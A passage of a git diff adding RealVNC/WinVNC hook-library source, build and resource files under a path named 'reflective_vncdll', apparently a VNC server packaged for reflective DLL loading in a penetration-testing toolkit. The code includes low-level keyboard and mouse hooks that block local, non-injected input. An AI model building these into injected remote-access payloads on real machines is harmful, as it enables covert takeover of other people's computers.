WPARAM wParam, LPARAM lParam) +{ + // Do we have to handle this message? + if (nCode >= 0) + { + // Process the hook only if the WinVNC thread ID is valid + if (vnc_thread_id) + { + MSG *msg = (MSG *) lParam; + + // Handle the message + HookHandle(msg->message, msg->hwnd, msg->wParam, msg->lParam); + } + } + + // Call the next handler in the chain + return CallNextHookEx (hGetMsgHook, nCode, wParam, lParam); +} + +// Hook procedure for LowLevel Keyboard filtering + +#ifdef WH_KEYBOARD_LL +LRESULT CALLBACK LowLevelKeyboardFilterProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + // Are we expected to handle this callback? + if (nCode == HC_ACTION) + { + // Is this keyboard event "real" or "injected" + // i.e. hardware or software-produced? + KBDLLHOOKSTRUCT *hookStruct = (KBDLLHOOKSTRUCT*)lParam; + if (!(hookStruct->flags & LLKHF_INJECTED)) { + // Message was not injected - reject it! + return TRUE; + } + } + + // Otherwise, pass on the message + return CallNextHookEx(hLLKeyboardHook, nCode, wParam, lParam); +} +#endif + +// Hook procedure for LowLevel Mouse filtering + +#ifdef WH_MOUSE_LL +LRESULT CALLBACK LowLevelMouseFilterProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + // Are we expected to handle this callback? + if (nCode == HC_ACTION) + { + // Is this mouse event "real" or "injected" + // i.e. hardware or software-produced? + MSLLHOOKSTRUCT *hookStruct = (MSLLHOOKSTRUCT*)lParam; + if (!(hookStruct->flags & LLMHF_INJECTED)) { + // Message was not injected - reject it! + return TRUE; + } + } + + // Otherwise, pass on the message + return CallNextHookEx(hLLMouseHook, nCode, wParam, lParam); +} +#endif + +char * NameFromPath(const char *path) +{ + int x; + int l = strlen(path); + char *temp = NULL; + + // Find the file part of a filename + for (x=l-1; x>0; x--) + { + if (path[x] == '\\') + { + temp = strdup(&(path[x+1])); + break; + } + } + + // If we didn't fine a \ then just return a copy of the original + if (temp == NULL) + temp = strdup(path); + + return temp; +} + +///////////////////////////////////////////////////////////////////////////// +// Initialise / Exit routines. +// These functions handle the update settings for any apps used with WinVNC. + +static const TCHAR szSoftware[] = "Software"; +static const TCHAR szCompany[] = "ORL"; +static const TCHAR szProfile[] = "VNCHooks"; + +HKEY hModuleKey = NULL; + +HKEY OpenKey(HKEY basekey, const char* path[], bool writable, bool create) { + HKEY key = basekey; + DWORD flags = KEY_READ; + if (writable) flags |= KEY_WRITE; + if (create) flags |= KEY_CREATE_SUB_KEY; + unsigned int i = 0; + while (path[i]) { + HKEY newkey; + DWORD result, dw; + if (create) { + _RPT2(_CRT_WARN, "vncHooks : creating %s from %x\n", path[i], key); + result = RegCreateKeyEx(key, path[i], 0, REG_NONE, + REG_OPTION_NON_VOLATILE, flags, NULL, + &newkey, &dw); + } else { + _RPT2(_CRT_WARN, "vncHooks : opening %s from %x\n", path[i], key); + result = RegOpenKeyEx(key, path[i], 0, flags, &newkey); + } + if (key && (key != basekey)) RegCloseKey(key); + key = newkey; + if (result != ERROR_SUCCESS) { + _RPT2(_CRT_WARN, "vncHooks : failed to open %s(%lu)\n", path[i], result); + return NULL; + } else { + _RPT2(_CRT_WARN, "vncHooks : opened %s (%x)\n", path[i], key); + } + i++; + } + return key; +} + +HKEY GetModuleKey(HKEY basekey, const char* proc_name, bool writable, bool create) { + // Work out the registry key to save this under + if (!sModulePrefs) { + sModulePrefs = (char *) malloc(strlen(proc_name) + 1); + if (sModulePrefs == NULL) + return FALSE; + strcpy(sModulePrefs, proc_name); + } + + // Check whether the library's entry exists! + const char* appPath[] = {szSoftware, szCompany, szProfile, 0}; + HKEY appKey = OpenKey(basekey, appPath, writable, create); + if (!appKey) + return NULL; + + // Attempt to open the registry section for the application + const char* modPath[] = {sPrefSegment, sModulePrefs, 0}; + HKEY modKey = OpenKey(appKey, modPath, writable, false); + if (!modKey) { + // Cut off the app directory and just use the name + char *file_name = NameFromPath(proc_name); + + if (!file_name) + { + RegCloseKey(appKey); + return NULL; + } + + // Adjust the moduleprefs name + strcpy(sModulePrefs, file_name); + free(file_name); + + // Now get the module key again + const char* modPath2[] = {sPrefSegment, sModulePrefs, 0}; + modKey = OpenKey(appKey, modPath2, writable, create); + } + + RegCloseKey(appKey); + + return modKey; +} + +int GetProfileInt(LPTSTR key, int def) +{ + DWORD type; + DWORD value; + ULONG size = sizeof(value); + + if (RegQueryValueEx( + hModuleKey, + key, + NULL, + &type, + (unsigned char *)&value, + &size) == ERROR_SUCCESS) + { + // Is the value of the right type? + if (type != REG_DWORD) + { + return def; + } + else + { + return value; + } + } + else + { + return def; + } +} + +void WriteProfileInt(LPTSTR key, int value) +{ + RegSetValueEx( + hModuleKey, + key, + 0, + REG_DWORD, + (unsigned char *)&value, + sizeof(value)); +} + +void ReadSettings() { + // Read in the prefs + prf_use_GetUpdateRect = GetProfileInt( + "use_GetUpdateRect", + TRUE + ); + + prf_use_Timer = GetProfileInt( + "use_Timer", + FALSE + ); + prf_use_KeyPress = GetProfileInt( + "use_KeyPress", + TRUE + ); + prf_use_LButtonUp = GetProfileInt( + "use_LButtonUp", + TRUE + ); + prf_use_MButtonUp = GetProfileInt( + "use_MButtonUp", + TRUE + ); + prf_use_RButtonUp = GetProfileInt( + "use_RButtonUp", + TRUE + ); + prf_use_Deferral = GetProfileInt( + "use_Deferral", + TRUE + ); +} + +BOOL InitInstance() +{ + // Create the global atoms + VNC_POPUPSELN_ATOM = GlobalAddAtom(VNC_POPUPSELN_ATOMNAME); + if (VNC_POPUPSELN_ATOM == NULL) + return FALSE; + + // Get the module name + char proc_name[_MAX_PATH]; + DWORD size; + + // Attempt to get the program/module name + if ((size = GetModuleFileName( + GetModuleHandle(NULL), + (char *) &proc_name, + _MAX_PATH + )) == 0) + return FALSE; + + // Get the default system key for the module + hModuleKey = GetModuleKey(HKEY_LOCAL_MACHINE, proc_name, false, false); + if (hModuleKey != NULL) { + _RPT0(_CRT_WARN, "vncHooks : loading machine prefs\n"); + ReadSettings(); + RegCloseKey(hModuleKey); + hModuleKey = NULL; + } + + // Get the key for the module + hModuleKey = GetModuleKey(HKEY_CURRENT_USER, proc_name, false, false); + if (hModuleKey != NULL) { + _RPT0(_CRT_WARN, "vncHooks : loading user prefs\n"); + ReadSettings(); + RegCloseKey(hModuleKey); + hModuleKey = NULL; + } + + return TRUE; +} + +BOOL ExitInstance() +{ + // Free the created atoms + if (VNC_POPUPSELN_ATOM != NULL) + { + // GlobalDeleteAtom(VNC_POPUPSELN_ATOM); + VNC_POPUPSELN_ATOM = NULL; + } + + // Write the module settings to disk + if (sModulePrefs != NULL) + { + // Get the module name + char proc_name[_MAX_PATH]; + DWORD size; + + // Attempt to get the program/module name + if ((size = GetModuleFileName( + GetModuleHandle(NULL), + (char *) &proc_name, + _MAX_PATH + )) == 0) + return FALSE; + + // Get the key for the module + _RPT0(_CRT_WARN, "vncHooks : locating user prefs\n"); + hModuleKey = GetModuleKey(HKEY_CURRENT_USER, proc_name, true, true); + if (hModuleKey == NULL) + return FALSE; + _RPT0(_CRT_WARN, "vncHooks : writing user prefs\n"); + + WriteProfileInt( + "use_GetUpdateRect", + prf_use_GetUpdateRect + ); + + WriteProfileInt( + "use_Timer", + prf_use_Timer + ); + + WriteProfileInt( + "use_KeyPress", + prf_use_KeyPress + ); + + WriteProfileInt( + "use_LButtonUp", + prf_use_LButtonUp + ); + + WriteProfileInt( + "use_MButtonUp", + prf_use_MButtonUp + ); + + WriteProfileInt( + "use_RButtonUp", + prf_use_RButtonUp + ); + + WriteProfileInt( + "use_Deferral", + prf_use_Deferral + ); + + free(sModulePrefs); + sModulePrefs = NULL; + } + + // Close the registry key for this module + if (hModuleKey != NULL) { + RegCloseKey(hModuleKey); + hModuleKey = NULL; + } + + return TRUE; +} diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.def b/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.def new file mode 100644 index 0000000000..af5058f3eb --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.def @@ -0,0 +1,7 @@ +; VNCHooks.def : Declares the module parameters for the DLL. + +LIBRARY "VNCHooks" +DESCRIPTION 'WinVNC 3.0 Hook Library' + +SECTIONS + .SharedData read write shared diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.h b/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.h new file mode 100644 index 0000000000..4273fe9474 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.h @@ -0,0 +1,72 @@ +///////////////////////////////////////////////////////////////////////////// +// VNC Hooks library +// +// WinVNC uses this DLL to hook into the system message pipeline, allowing it +// to intercept messages which may be relevant to screen update strategy +// +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1997 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// VNC Hooks library +// +// This version created: +// 24/11/97 + +#if !defined(_VNCHOOKS_DLL_) +#define _VNCHOOKS_DLL_ + +#include + +///////////////////////////////////////////////////////////////////////////// +// Define the import/export tags + +#define DllImport __declspec(dllimport) +#define DllExport __declspec(dllexport) + +///////////////////////////////////////////////////////////////////////////// +// +// Functions used by WinVNC + +#define VNC_HOOKS_CATCHES_ALL 0x1 // Doesn't miss updates +#define VNC_HOOKS_CATCHES_MIN 0x2 // Reports minimal updates + +extern "C" +{ + // DLL functions: + DllExport DWORD HooksType(); // Find out whether hooks are reliable/hints + DllExport BOOL SetHooks( + DWORD thread_id, + UINT UpdateMsg, + UINT CopyMsg, + UINT MouseMsg + ); // Set the hook + DllExport BOOL UnSetHooks(DWORD thread_id); // Remove it + + DllExport BOOL SetKeyboardFilterHook(BOOL activate); + // Control keyboard filtering + DllExport BOOL SetMouseFilterHook(BOOL activate); + // Control mouse filtering +} + +#endif // !defined(_VNCHOOKS_DLL_) diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/resource.h b/external/source/reflective_vncdll/winvnc/vnchooks/resource.h new file mode 100644 index 0000000000..3063d86722 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/resource.h @@ -0,0 +1,15 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Developer Studio generated include file. +// Used by VNCHooks.rc +// + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.dsp b/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.dsp new file mode 100644 index 0000000000..8b77d71e5f --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.dsp @@ -0,0 +1,209 @@ +# Microsoft Developer Studio Project File - Name="vnchooks" - Package Owner=<4> +# Microsoft Developer Studio Generated Build File, Format Version 6.00 +# ** DO NOT EDIT ** + +# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102 + +CFG=vnchooks - Win32 Profile +!MESSAGE This is not a valid makefile. To build this project using NMAKE, +!MESSAGE use the Export Makefile command and run +!MESSAGE +!MESSAGE NMAKE /f "vnchooks.mak". +!MESSAGE +!MESSAGE You can specify a configuration when running NMAKE +!MESSAGE by defining the macro CFG on the command line. For example: +!MESSAGE +!MESSAGE NMAKE /f "vnchooks.mak" CFG="vnchooks - Win32 Profile" +!MESSAGE +!MESSAGE Possible choices for configuration are: +!MESSAGE +!MESSAGE "vnchooks - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "vnchooks - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "vnchooks - Win32 Release CORBA" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "vnchooks - Win32 Release CORBA DEBUG" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE "vnchooks - Win32 Profile" (based on "Win32 (x86) Dynamic-Link Library") +!MESSAGE + +# Begin Project +# PROP AllowPerConfigDependencies 0 +# PROP Scc_ProjName "" +# PROP Scc_LocalPath "" +CPP=cl.exe +MTL=midl.exe +RSC=rc.exe + +!IF "$(CFG)" == "vnchooks - Win32 Release" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "Release" +# PROP BASE Intermediate_Dir "Release" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release" +# PROP Intermediate_Dir "..\Release" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 +# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /machine:I386 + +!ELSEIF "$(CFG)" == "vnchooks - Win32 Debug" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "Debug" +# PROP BASE Intermediate_Dir "Debug" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Debug" +# PROP Intermediate_Dir "..\Debug" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /YX /FD /GZ /c +# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept +# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept + +!ELSEIF "$(CFG)" == "vnchooks - Win32 Release CORBA" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "vnchooks___Win32_Release_CORBA" +# PROP BASE Intermediate_Dir "vnchooks___Win32_Release_CORBA" +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA" +# PROP Intermediate_Dir "..\Release_CORBA" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD CPP /nologo /MT /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 +# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /machine:I386 + +!ELSEIF "$(CFG)" == "vnchooks - Win32 Release CORBA DEBUG" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 0 +# PROP BASE Output_Dir "vnchooks___Win32_Release_CORBA_DEBUG" +# PROP BASE Intermediate_Dir "vnchooks___Win32_Release_CORBA_DEBUG" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 0 +# PROP Output_Dir "..\Release_CORBA_DEBUG" +# PROP Intermediate_Dir "..\Release_CORBA_DEBUG" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "NDEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD CPP /nologo /MDd /W3 /GX /ZI /Od /D "_DEBUG" /D "_OMNITHREAD_DLL" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /machine:I386 +# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /incremental:yes /debug /machine:I386 + +!ELSEIF "$(CFG)" == "vnchooks - Win32 Profile" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "vnchooks___Win32_Profile" +# PROP BASE Intermediate_Dir "vnchooks___Win32_Profile" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Profile" +# PROP Intermediate_Dir "..\Profile" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c +# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VNCHOOKS_EXPORTS" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept +# ADD LINK32 user32.lib advapi32.lib gdi32.lib /nologo /dll /profile /debug /machine:I386 + +!ENDIF + +# Begin Target + +# Name "vnchooks - Win32 Release" +# Name "vnchooks - Win32 Debug" +# Name "vnchooks - Win32 Release CORBA" +# Name "vnchooks - Win32 Release CORBA DEBUG" +# Name "vnchooks - Win32 Profile" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\VNCHooks.cpp +# End Source File +# Begin Source File + +SOURCE=.\VNCHooks.def +# End Source File +# Begin Source File + +SOURCE=.\VNCHooks.rc +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\resource.h +# End Source File +# Begin Source File + +SOURCE=.\VNCHooks.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.rc b/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.rc new file mode 100644 index 0000000000..7b8e25db7e --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.rc @@ -0,0 +1,109 @@ +//Microsoft Developer Studio generated resource script. +// +#include "resource.h" + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#include "afxres.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// English (U.K.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) +#ifdef _WIN32 +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK +#pragma code_page(1252) +#endif //_WIN32 + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 3,3,7,0 + PRODUCTVERSION 3,3,7,0 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080904b0" + BEGIN + VALUE "Comments", "\0" + VALUE "CompanyName", "RealVNC Ltd.\0" + VALUE "FileDescription", "VNC hooks DLL for Win32\0" + VALUE "FileVersion", "3, 3, 7, 0\0" + VALUE "InternalName", "VNCHooks\0" + VALUE "LegalCopyright", "Copyright RealVNC Ltd.© 2002-2003, AT&T Research Labs Cambridge© 1996-2001\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "VNCHooks.dll\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "RealVNC Ltd. - VNCHooks\0" + VALUE "ProductVersion", "3, 3, 7, 0\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x809, 1200 + END +END + +#endif // !_MAC + + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE DISCARDABLE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE DISCARDABLE +BEGIN + "#include ""afxres.h""\r\n" + "\0" +END + +3 TEXTINCLUDE DISCARDABLE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + +#endif // English (U.K.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.vcproj b/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.vcproj new file mode 100644 index 0000000000..23bace985b --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/vnchooks.vcproj @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/winvnc/winvnc.dsw b/external/source/reflective_vncdll/winvnc/winvnc.dsw new file mode 100644 index 0000000000..ff82a6a02e --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc.dsw @@ -0,0 +1,107 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "Xregion"=..\Xregion\Xregion.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Project: "rdr"=..\rdr\rdr.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Project: "vncdll"=.\vncdll\vncdll.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ + Begin Project Dependency + Project_Dep_Name rdr + End Project Dependency + Begin Project Dependency + Project_Dep_Name Xregion + End Project Dependency + Begin Project Dependency + Project_Dep_Name zlib + End Project Dependency +}}} + +############################################################################### + +Project: "vnchooks"=.\vnchooks\vnchooks.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Project: "winvnc"=.\winvnc\winvnc.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ + Begin Project Dependency + Project_Dep_Name rdr + End Project Dependency + Begin Project Dependency + Project_Dep_Name zlib + End Project Dependency + Begin Project Dependency + Project_Dep_Name Xregion + End Project Dependency +}}} + +############################################################################### + +Project: "zlib"=..\zlib\zlib.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git a/external/source/reflective_vncdll/winvnc/winvnc.opt b/external/source/reflective_vncdll/winvnc/winvnc.opt new file mode 100644 index 0000000000..4f78d6ad63 Binary files /dev/null and b/external/source/reflective_vncdll/winvnc/winvnc.opt differ diff --git a/external/source/reflective_vncdll/winvnc/winvnc/buildtime.cpp b/external/source/reflective_vncdll/winvnc/winvnc/buildtime.cpp new file mode 100644 index 0000000000..3b169ee843 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/buildtime.cpp @@ -0,0 +1,22 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the program is not available from the place from +// which you received this file, check http://www.realvnc.com/ or contact +// the authors on info@realvnc.com for information on obtaining it. + +char buildtime[] = __DATE__ " " __TIME__; diff --git a/external/source/reflective_vncdll/winvnc/winvnc/d3des.c b/external/source/reflective_vncdll/winvnc/winvnc/d3des.c new file mode 100644 index 0000000000..57129555d8 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/winvnc/d3des.c @@ -0,0 +1,440 @@ +/* + * This is D3DES (V5.09) by Richard Outerbridge with the double and + * triple-length support removed for use in VNC. Also the bytebit[] array + * has been reversed so that the most significant bit in each byte of the + * key is ignored, not the least significant. + * + * These changes are + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + */ + +/* D3DES (V5.09) - + * + * A portable, public domain, version of the Data Encryption Standard. + * + * Written with Symantec's THINK (Lightspeed) C by Richard Outerbridge. + * Thanks to: Dan Hoey for his excellent Initial and Inverse permutation + * code; Jim Gillogly & Phil Karn for the DES key schedule code; Dennis + * Ferguson, Eric Young and Dana How for comparing notes; and 